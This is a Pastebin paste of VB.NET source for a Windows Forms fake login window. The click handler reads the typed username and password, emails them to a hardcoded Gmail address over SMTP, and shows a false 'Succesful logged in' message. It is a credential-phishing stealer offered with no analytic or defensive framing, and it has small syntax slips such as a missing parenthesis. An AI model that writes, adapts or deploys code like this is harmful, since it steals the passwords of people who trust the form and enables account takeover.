Guest User

Untitled

a guest
Oct 4th, 2018
237
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.25 KB | None | 0 0
  1. Imports System.Net.Mail
  2.  
  3.  
  4. Public Class Form1
  5.  
  6. Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
  7. If TextBox1.Text = "" Then
  8. MsgBox("Username Is Missing")
  9. If TextBox2.Text = "" Then
  10. MsgBox("Password Is Mising")
  11. Else
  12. End If
  13. End If
  14. Dim smtpServer As New SmtpClient()
  15. Dim mail As New MailMessage()
  16. smtpServer.Credentials = New Net.NetworkCredential("Loranzgaming@gmail.com", "******")
  17. 'using gmail
  18. smtpServer.Port = 587
  19. smtpServer.Host = "smtp.gmail.com"
  20. smtpServer.EnableSsl = True
  21. mail = New MailMessage()
  22. mail.From = New MailAddress("loranzgaming@gmail.com")
  23. mail.To.Add("loranzgaming@gmail.com")
  24. mail.Subject = "Username: " & TextBox1.Text
  25. mail.Body = "Username : " & TextBox1.Text & ", " & "Password : " & TextBox2.Text
  26. smtpServer.Send(mail)
  27. MsgBox("Succesful logged in", MsgBoxStyle.Information, "Logged in"
  28. End Sub
  29.  
  30. Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load
  31.  
  32. End Sub
  33.  
  34. Public Sub New()
  35.  
  36.  
  37.  
  38. End Sub
  39. End Class
Add Comment
Please, Sign In to add comment